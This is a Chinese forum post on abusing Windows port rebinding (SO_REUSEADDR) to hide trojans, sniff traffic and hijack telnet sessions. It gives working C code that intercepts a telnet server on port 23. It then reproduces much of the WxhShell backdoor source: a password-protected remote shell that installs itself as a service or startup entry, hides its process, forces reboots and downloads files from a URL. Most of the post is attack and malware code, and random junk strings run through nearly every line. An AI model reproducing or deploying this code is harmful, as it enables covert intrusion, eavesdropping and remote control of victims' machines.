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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: SsjO1F  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 1Giy|;2/  
:oF\?e  
  saddr.sin_family = AF_INET; yWIM,2x}  
8WWRKP1V  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); g~d}?B\<@  
Egt;Bj#%  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); x8p#WB  
|u)?h] >  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 &Pt|  
EWN$ILdD  
  这意味着什么?意味着可以进行如下的攻击: e , zR  
/:>f$k4~h  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Ygn"7  
2F-!SI  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) lj.z>  
BQf}S +  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 87EI<\mP  
);$Uf!v4  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  '{kNXCnZ  
pTZPOv#?Q  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 0CY_nn#3  
"ffwh  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 E66e4?"  
w5jH#ja  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ?/"@WP9  
+S M $#  
  #include P*/px4;6  
  #include /s6':~4  
  #include xkl'Y*  
  #include    \Ja%u"D A  
  DWORD WINAPI ClientThread(LPVOID lpParam);    ;9c3IK@  
  int main() ld94ek  
  { 7"=  
  WORD wVersionRequested; ,oDZ:";  
  DWORD ret; ]M{SM`Ya  
  WSADATA wsaData; }Evyfc#D  
  BOOL val; fl~k')s  
  SOCKADDR_IN saddr; V~5vVY_HG&  
  SOCKADDR_IN scaddr; #e&j]Q$Eh  
  int err; /woa[7Xe  
  SOCKET s; +IVVsVp  
  SOCKET sc; Kv+E"2d  
  int caddsize; g=pz&cz;>\  
  HANDLE mt; tjOfekU  
  DWORD tid;   8_f0P8R!y  
  wVersionRequested = MAKEWORD( 2, 2 ); mT@UQCG  
  err = WSAStartup( wVersionRequested, &wsaData ); @Th.=  
  if ( err != 0 ) {  yyk[oH-Q  
  printf("error!WSAStartup failed!\n"); (|ga#%iI  
  return -1; ^`YSl*:  
  } r0QjCFSF=  
  saddr.sin_family = AF_INET; F=B>0Q5   
   ]*}*zXN/E  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 X=(8t2  
Pf)<6?T  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60");  AO;+XP=  
  saddr.sin_port = htons(23); &X_I^*  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ZERUvk  
  { ({![  
  printf("error!socket failed!\n"); PK3)M'[  
  return -1; ci5ERv`  
  } 2DTH|Yv  
  val = TRUE; )rhKWg  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 dz5bW>  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) - J!F((jt  
  { ]*juF[r(  
  printf("error!setsockopt failed!\n"); 4_PMl6qo  
  return -1; D8h ?s  
  } }<FBcc(n  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Qo?"hgjlqm  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 (0D0G-r:  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 *|$s0ga C  
F#4?@W  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) t K{`?NS  
  { O:r<es1  
  ret=GetLastError(); CJjma=XH  
  printf("error!bind failed!\n"); / c/!13|  
  return -1; MnKEZ: 2  
  } nUmA  
  listen(s,2); ErB6fl  
  while(1) {>QrI4*A  
  { +ls *04  
  caddsize = sizeof(scaddr); fLc<}DF  
  //接受连接请求 nT|fDD|  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); (' `) m  
  if(sc!=INVALID_SOCKET) dSIMwu6u  
  { kp<9o!?)  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); (U!WD`Ym  
  if(mt==NULL) E_WiQ?p   
  { Dr(.|)hv[&  
  printf("Thread Creat Failed!\n"); I" sKlMD  
  break; l:Ci'=  
  } TKoO\\  
  } }M'\s  
  CloseHandle(mt); 9jaYmY]~  
  } s26s:A3rh  
  closesocket(s); iv#9{T  
  WSACleanup(); 28X)s!W'  
  return 0; }}grJh>tGg  
  }   f(D?g  
  DWORD WINAPI ClientThread(LPVOID lpParam) U <4<8'  
  { _PNU*E%s<  
  SOCKET ss = (SOCKET)lpParam; F1Egcx/$V  
  SOCKET sc; t47 f$gq  
  unsigned char buf[4096]; 34JkB+#a  
  SOCKADDR_IN saddr; c)@M7UK[  
  long num; Vl^jTX5N  
  DWORD val; 5I T'u3V  
  DWORD ret; B HZGQm  
  //如果是隐藏端口应用的话,可以在此处加一些判断 s}|IRDpp  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   *i5&x/ds  
  saddr.sin_family = AF_INET; P|HY=RM a  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); h]@Xucc  
  saddr.sin_port = htons(23); @!%<JZEz3  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) e yTYg  
  { P[XE5puC  
  printf("error!socket failed!\n"); tm+}@CM^.  
  return -1; !n uXK  
  } Q:_pW<^  
  val = 100; RG*Nw6A  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) s%4)}w;z  
  { !S(jT?'w  
  ret = GetLastError(); Bu!Gy8\  
  return -1; CoJaVLl  
  } \,p)  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) +qsdA#2  
  { uT;Qo{G^  
  ret = GetLastError(); 1+#Vj#  
  return -1;  PJk Mn  
  } -iH/~a  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 6mRvuJ%  
  { MlRgdVX  
  printf("error!socket connect failed!\n"); Mqw&%dz'_  
  closesocket(sc); \8Blq5n-O*  
  closesocket(ss); 9=3V}]^M  
  return -1; "]MF =-v  
  } A FfgGO  
  while(1) ?1PY]KNaK  
  { NTAPx=!1*  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 _Seiwk &  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 P7u5Ykc*  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 <PV @JJ"  
  num = recv(ss,buf,4096,0); 3%<ia$  
  if(num>0) BvX!n"QIb  
  send(sc,buf,num,0); gN mp'Lm  
  else if(num==0) zT_{M qY  
  break; -pqShDar|  
  num = recv(sc,buf,4096,0); 'Iu$4xo`[  
  if(num>0) xO?~@5  
  send(ss,buf,num,0); *vBcT.|,  
  else if(num==0) zI7-xqZ  
  break; {_(;&\5  
  } MIt\[EB  
  closesocket(ss); ,dh*GJ{5  
  closesocket(sc); PjsQ+5[>  
  return 0 ; _V8pDcY  
  } 1Ll@ ocE  
9^ mrsj  
f0wQn09  
========================================================== v`Sllv5bV  
x]a>Q),  
下边附上一个代码,,WXhSHELL \n<N>j@3  
MHxv@1)K|Y  
========================================================== I9>1WT<Yy  
5[/ *UtB  
#include "stdafx.h" cHJ &a`;  
+;cw<9%0  
#include <stdio.h> :_Ng`b/  
#include <string.h> "F%cn@l  
#include <windows.h> vRT1tOQ$  
#include <winsock2.h> e?Cbl'  
#include <winsvc.h> (V e[FhA  
#include <urlmon.h> =BX<;vU  
xhqIE3gd  
#pragma comment (lib, "Ws2_32.lib") M}%0=VCY7  
#pragma comment (lib, "urlmon.lib") 6"A|)fz  
1YM04*H  
#define MAX_USER   100 // 最大客户端连接数 YJ!6)d?C.  
#define BUF_SOCK   200 // sock buffer X.T.^}=  
#define KEY_BUFF   255 // 输入 buffer YToRG7X#  
vZXyc *  
#define REBOOT     0   // 重启 y@_4OkR@  
#define SHUTDOWN   1   // 关机 YO-O-NEP  
.}CP Z3y  
#define DEF_PORT   5000 // 监听端口 IS'=%qhC`  
#;^.&2Lt  
#define REG_LEN     16   // 注册表键长度 PeE'#&w n  
#define SVC_LEN     80   // NT服务名长度 ~Dkje  
<cepRjDn  
// 从dll定义API C=hE@  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); M:C*?;K:  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 9*,5R,#  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Yq;S%.  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Bxm^Arc>  
fNB*o={r|  
// wxhshell配置信息 \h #vL  
struct WSCFG { M}@^8  
  int ws_port;         // 监听端口 ~'T]B{.+J  
  char ws_passstr[REG_LEN]; // 口令 [_H9l)  
  int ws_autoins;       // 安装标记, 1=yes 0=no KN+*_L-  
  char ws_regname[REG_LEN]; // 注册表键名 Re.fS6y$>  
  char ws_svcname[REG_LEN]; // 服务名 e@X~F6nP  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 |4-Ey! P  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 TWxMexiW  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 \6@}HFH  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ]HCt%5  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ]`UJwq  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 |t.WPp5,  
f Z\Ev%F  
}; kv5D=0r  
"pHQ  
// default Wxhshell configuration , :kCt=4%  
struct WSCFG wscfg={DEF_PORT, EzthRe9  
    "xuhuanlingzhe", St&XG>nWS  
    1, gw5CU)r4$  
    "Wxhshell", TYLf..i<  
    "Wxhshell", 0e/~H^,SQ  
            "WxhShell Service", Mb/R+:C`  
    "Wrsky Windows CmdShell Service", b!UT<:o  
    "Please Input Your Password: ", 1bvL  
  1, @zPWu}&m  
  "http://www.wrsky.com/wxhshell.exe", Y3-15:-  
  "Wxhshell.exe" a_Xh(d$  
    }; V#sANi?mpo  
4I2ppz   
// 消息定义模块 P3N f<  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ~}TVM%0RTq  
char *msg_ws_prompt="\n\r? for help\n\r#>"; !X#=Pt[,  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; E%$FX' 8&  
char *msg_ws_ext="\n\rExit."; .0s/O  
char *msg_ws_end="\n\rQuit."; E7j]"\~i  
char *msg_ws_boot="\n\rReboot..."; LWIU7dw  
char *msg_ws_poff="\n\rShutdown..."; z{AfR2L  
char *msg_ws_down="\n\rSave to "; )DoY*'Cl  
XSZW9/I-(|  
char *msg_ws_err="\n\rErr!"; ]bX.w/=  
char *msg_ws_ok="\n\rOK!"; 1FY^_dvH  
Q OdvzVy<  
char ExeFile[MAX_PATH]; hS<x+|'l  
int nUser = 0; L x(Y=  
HANDLE handles[MAX_USER]; I-+D+DhRx  
int OsIsNt; H,zRmK6A%  
uT;9xV%ch  
SERVICE_STATUS       serviceStatus; D4 e)v%  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; m2\ZnC  
T\2cAW5  
// 函数声明 H#Vs3*VK  
int Install(void); o>j3<#?  
int Uninstall(void); f$/Daq <M  
int DownloadFile(char *sURL, SOCKET wsh); )%UO@4  
int Boot(int flag); Xf$,ra"  
void HideProc(void); S* <: He&1  
int GetOsVer(void); 03{e[#6   
int Wxhshell(SOCKET wsl); ;l~gA|A  
void TalkWithClient(void *cs); 4UG7{[!+  
int CmdShell(SOCKET sock); CQ13fu +|6  
int StartFromService(void); 3D%I=p(  
int StartWxhshell(LPSTR lpCmdLine); m-ZVlj  
fq\E$'o$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); $g#%  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Soq 'B?>  
oSTGs@EK  
// 数据结构和表定义 @'~v~3 $S  
SERVICE_TABLE_ENTRY DispatchTable[] = @XB/9!  
{ B&<Z#C:I  
{wscfg.ws_svcname, NTServiceMain}, 8<IO X  
{NULL, NULL} {wCQ#V  
}; ;Wb W\,P'  
t[0gN:s  
// 自我安装 pGUrYik4  
int Install(void) C2bN<K  
{ ?2DYz"/')  
  char svExeFile[MAX_PATH]; }0qgvw  
  HKEY key; N{oD1%  
  strcpy(svExeFile,ExeFile); $FCLo8/=  
Jf4D">h  
// 如果是win9x系统,修改注册表设为自启动 lZ E x0  
if(!OsIsNt) { >'E'Mp.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Fe`$mtPu.  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Ns&SZO  
  RegCloseKey(key); "4i(5|whp?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { S,qsCnz  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 72luTR Q  
  RegCloseKey(key); H?^Poe(=(  
  return 0; ,9  
    } M(SH3~  
  } P62g7>B5^  
} ]6FpUF#<D  
else { bIwt#:v  
P(qUx9  
// 如果是NT以上系统,安装为系统服务 }!5"EL(L80  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);  xUzfBn  
if (schSCManager!=0) m$0T"`AP`  
{ 'TezUBRAz  
  SC_HANDLE schService = CreateService B!rY\ ?W  
  ( |Y2u=B  
  schSCManager, +>37 'PD  
  wscfg.ws_svcname, $Jx] FZDQ  
  wscfg.ws_svcdisp, YV 2T$#7u  
  SERVICE_ALL_ACCESS, JtvAi\52$  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , dsrzXmE0  
  SERVICE_AUTO_START, BTGPP@p4  
  SERVICE_ERROR_NORMAL, M0 =K#/  
  svExeFile, qp'HRh@P2:  
  NULL, EXoT$Wt{$  
  NULL, 53@*GXzE  
  NULL, |*jnJWH4:  
  NULL, ~ b\bpu  
  NULL U")bvUIL  
  ); MhWmY[  
  if (schService!=0) aJK8G,Vk  
  { jh2D 9h  
  CloseServiceHandle(schService); ')+'m1N  
  CloseServiceHandle(schSCManager); B]0`b1t  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); lP\7=9rh^x  
  strcat(svExeFile,wscfg.ws_svcname); c9r, <TR9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { qeHb0G  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); `A3"*,|z  
  RegCloseKey(key); PzNk:O  
  return 0; NKh"x&R  
    } k G4v>  
  } Pr<.ld\  
  CloseServiceHandle(schSCManager); EL5gMs  
} $x#Y\dpS  
} `a98+x?JF  
7_ZfV? .  
return 1;  b-yfBO  
} wHAoO#`wn5  
.G4(Ryh  
// 自我卸载 WEOW6UV(  
int Uninstall(void) 0,E*9y}  
{ 7S(5\9  
  HKEY key; ?tV$o,11  
UuzT*Y>  
if(!OsIsNt) { +t,JCY6  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /87?U; |V  
  RegDeleteValue(key,wscfg.ws_regname); 7[.aAGTZ;  
  RegCloseKey(key); }&bO;o&>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Y Dq5%N`  
  RegDeleteValue(key,wscfg.ws_regname); z~UqA1r  
  RegCloseKey(key); cxp>4[gH  
  return 0; <`+U B<K  
  } )zf&`T  
} h/mmV:v  
} [ ;  
else { ( Y'q%$  
` XE8[XY  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); V80g+)|  
if (schSCManager!=0) *[9FPya  
{ IlN9IF\9L  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 9l+'V0?`  
  if (schService!=0) ~jQ|X?tR  
  { 7%b?[}y4  
  if(DeleteService(schService)!=0) { mr,IP=e~  
  CloseServiceHandle(schService); Sbc  
  CloseServiceHandle(schSCManager); /YKg.DA|  
  return 0; [daUtKz  
  } U\*}}   
  CloseServiceHandle(schService); rB}Iwp8  
  } ^M0e0  
  CloseServiceHandle(schSCManager); j(AN] g:  
} " ;8H;U`  
} ]p:s5Q  
J-P> ~ L"  
return 1; %scSp&X  
} }4Ef31X8q  
"eA4JL\%)  
// 从指定url下载文件 d %1j4JE{  
int DownloadFile(char *sURL, SOCKET wsh) jgQn^  
{ wrSw>sE"  
  HRESULT hr; S8(Y+jgk;a  
char seps[]= "/"; g\[?U9qN  
char *token; ABuK`(f.  
char *file; U%.OH?;f  
char myURL[MAX_PATH]; *UJ.cQ}  
char myFILE[MAX_PATH]; r#M0X^4A  
H$bu*o-Z  
strcpy(myURL,sURL); 8E`A`z  
  token=strtok(myURL,seps); Q`j!$r  
  while(token!=NULL) 4^/MDM@  
  { jNd."[IrO  
    file=token; cv})^E$x  
  token=strtok(NULL,seps); \qj4v^\  
  } 5?9K%x'b  
(,*e\o  
GetCurrentDirectory(MAX_PATH,myFILE); 7:awUoV8f  
strcat(myFILE, "\\"); 2K[Y|.u8>q  
strcat(myFILE, file); U$-Gc[=|  
  send(wsh,myFILE,strlen(myFILE),0); j?<>y/IR  
send(wsh,"...",3,0); (v+nn1,  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 5 Yj qN  
  if(hr==S_OK) %#kml{I   
return 0; *DfwTbg|  
else E}LYO:  
return 1; 4HG;v|Cp  
XRA RgWj  
} -9W)|toWb"  
O~D>F*_^j  
// 系统电源模块 _ `5?/\7  
int Boot(int flag) $2I^ ;5r[  
{ 4BF \- lq~  
  HANDLE hToken; L+VqTt  
  TOKEN_PRIVILEGES tkp; W/e6O??O  
~U"puEftbs  
  if(OsIsNt) { b/"&E'5-`\  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); "V|&s/9  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); i286 J.  
    tkp.PrivilegeCount = 1; jNV)=s^ed[  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Esx"nex  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ^k{b8-)W<  
if(flag==REBOOT) { r Z)?uqa  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) \zOo[/-<  
  return 0; '9@} =pE  
} Fq>tl 64A  
else { $o}Ao@WkO  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) <Cv 6wC=  
  return 0; p8gm=  
} g }\ G@7Q  
  } xb8S)zO]Q  
  else { ]c/k%] o~  
if(flag==REBOOT) { A><w1-X&=o  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) re}_+sv U  
  return 0; AIN Fv;  
} \; #T.@c5  
else { l5; SY  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) TQ hu$z<  
  return 0; P)D2PVD  
} jgpSFb<9F  
} 5 1&||.  
olLVT<  
return 1; q%&JAX=  
} Hst]}g' .  
*n]f)Jc  
// win9x进程隐藏模块 #POVu|Y;h  
void HideProc(void) :[P)t %  
{ MuI>ZoNF  
qK=uSL o\+  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); nev@ykP6  
  if ( hKernel != NULL ) o,(]w kF  
  { cl,\N\  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); +q<G%PwbV  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); E]@$,)nC  
    FreeLibrary(hKernel); )O}q{4,}  
  } $f>h_8cla  
41^=z[k  
return; XWd;-%`<  
} STln_'DF'  
n VNz5B  
// 获取操作系统版本 ."X}A t  
int GetOsVer(void) yq7gBkS  
{ ~(v7:?  
  OSVERSIONINFO winfo; c2E*A+V#u  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); SLsw '<  
  GetVersionEx(&winfo); 9I1D'7wI^^  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)  Q{K '#  
  return 1; O %m\ Q1  
  else "39\@Ow  
  return 0; AT{rg/oSf  
} >v?&&FhHK<  
uPhL?s{  
// 客户端句柄模块 G>@KX  
int Wxhshell(SOCKET wsl) ;URvZ! {/Z  
{ #S4lRVt5  
  SOCKET wsh; sV']p#HK0  
  struct sockaddr_in client; HP,sNiw  
  DWORD myID; \-`,fat  
mG\$W#+j  
  while(nUser<MAX_USER) uCB>".'kM  
{ v w  
  int nSize=sizeof(client); %noByq,?  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 6, ~Y(#  
  if(wsh==INVALID_SOCKET) return 1; 4-r5C5o,W  
=Ts5\1sc>  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); o(L8 -F  
if(handles[nUser]==0) NNgpDL*  
  closesocket(wsh); * a ?qV  
else w! kWG,{C  
  nUser++; x9!3i{_  
  } /}kG$ ~  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); /XVjcD66c  
R` HC EX)  
  return 0; ;n\$'"K&;  
} 3bN]2\   
chC= $(5t  
// 关闭 socket _uf,7R-  
void CloseIt(SOCKET wsh) DWwPid} "  
{ 'W_u1l/  
closesocket(wsh); fHV%.25  
nUser--; nDU=B.?E{O  
ExitThread(0); p[^a4E_v  
} t@vVE{`  
Kg;u.4.-M  
// 客户端请求句柄 h<0&|s*a)  
void TalkWithClient(void *cs) 4roqD;5|~|  
{ Q1[3C(  
qP k`e}D  
  SOCKET wsh=(SOCKET)cs; `k;MGs)&  
  char pwd[SVC_LEN]; CM`B0[B  
  char cmd[KEY_BUFF]; =bHS@h8N<  
char chr[1]; Abc%VRsT  
int i,j; *}h#'+  
Q94Lq~?YF  
  while (nUser < MAX_USER) { 2 ":W^P  
3 BQZ[%0@  
if(wscfg.ws_passstr) { b2r]>*Vc  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |L<p90  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Da3Z>/S  
  //ZeroMemory(pwd,KEY_BUFF); asc Y E  
      i=0; ,j!%,!n o  
  while(i<SVC_LEN) { cp_<y)__  
Q8Fqf ;4  
  // 设置超时 <zWMTVaC  
  fd_set FdRead; W/@-i|v  
  struct timeval TimeOut; Kt5k_9  
  FD_ZERO(&FdRead); @>Bgld&vl  
  FD_SET(wsh,&FdRead);  eQU~A9  
  TimeOut.tv_sec=8; SNOML7pd  
  TimeOut.tv_usec=0;  DJJd_  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); MXa(Oi2Gg  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); )R^&u`k  
nh'TyUd!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "$k rK7Z  
  pwd=chr[0]; )&{<gyS1  
  if(chr[0]==0xd || chr[0]==0xa) { 5< $8.a#  
  pwd=0; = 9!|%j  
  break; k-!Jww  
  } zI.%b7wq  
  i++; *Roqie  
    } UC@Jsj~f  
Z{}+7P  
  // 如果是非法用户,关闭 socket evvv&$&  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); s+<`iH9Hm  
} }h+{>{2j  
7!g"q\s  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); K0fuN)C  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); snicVzvA  
^61;0   
while(1) { wx*03(|j;  
N8KH.P+  
  ZeroMemory(cmd,KEY_BUFF); -{z<+(K!$  
92(P~Sdv  
      // 自动支持客户端 telnet标准   n@$("p  
  j=0; 6PyW(i(bs  
  while(j<KEY_BUFF) { `lcQ Yd<,4  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,(3oAj\  
  cmd[j]=chr[0]; 2DNB?,uP,'  
  if(chr[0]==0xa || chr[0]==0xd) { T f40lv+{  
  cmd[j]=0; `$t|O&z  
  break; D k<NlH zp  
  } c5(4rT{(m  
  j++;  rrP_7D  
    } -q30tO.  
3}2;*:p4Y  
  // 下载文件 lBzfBmEB  
  if(strstr(cmd,"http://")) { 0.kC|  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); [NoOA  
  if(DownloadFile(cmd,wsh)) (Xl+Zi>\{  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); $1y8X K7r  
  else -&EU#Wqh  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *cP(3n3]R  
  } : "^/?Sd  
  else { :/R>0n,  
t{-*@8Ke  
    switch(cmd[0]) { : G'a"%x  
  xzXNcQ  
  // 帮助 zJ30ZY:  
  case '?': { 4MrUo9L$s  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); a0&L,7mu<'  
    break; m.68ctaa  
  } 8ly6CP+^B  
  // 安装 @|:yK|6O  
  case 'i': { muMd9\p  
    if(Install()) qVssw* GDB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); YYhN>d$  
    else _>J`e7j+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F~sUfqiJ'  
    break; f^)iv ]p  
    } JAX`iQd  
  // 卸载 SUDvKP  
  case 'r': { WP{U9YF2  
    if(Uninstall()) 9aBz%* xo  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w>e+UW25Y  
    else NG8 F'=<  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L{0\M`B-  
    break; {>Hn:jW<.  
    } M5:j)o W  
  // 显示 wxhshell 所在路径 ~ycWc Zi>  
  case 'p': { 2f6BZ8H+Z  
    char svExeFile[MAX_PATH]; BvS!P8  
    strcpy(svExeFile,"\n\r"); NJCSo(O  
      strcat(svExeFile,ExeFile); &2nICAN[  
        send(wsh,svExeFile,strlen(svExeFile),0); L[^.pO  
    break; y@(EGfI  
    } /r8sL)D+  
  // 重启 E/<n"'0ek  
  case 'b': { \]0#jI/:  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); C;?<WtH  
    if(Boot(REBOOT)) \dbaY:(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d;nk>6<|  
    else { RI<&cgWn+<  
    closesocket(wsh); :F_>`{  
    ExitThread(0); '~VF*i^4  
    } rZ&li/Z  
    break; WRrg5&._q  
    } hC4 M}(XM  
  // 关机 `>GXJ~:D["  
  case 'd': { ; xL8W  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); nErr&{C  
    if(Boot(SHUTDOWN)) 5me#/NqLHY  
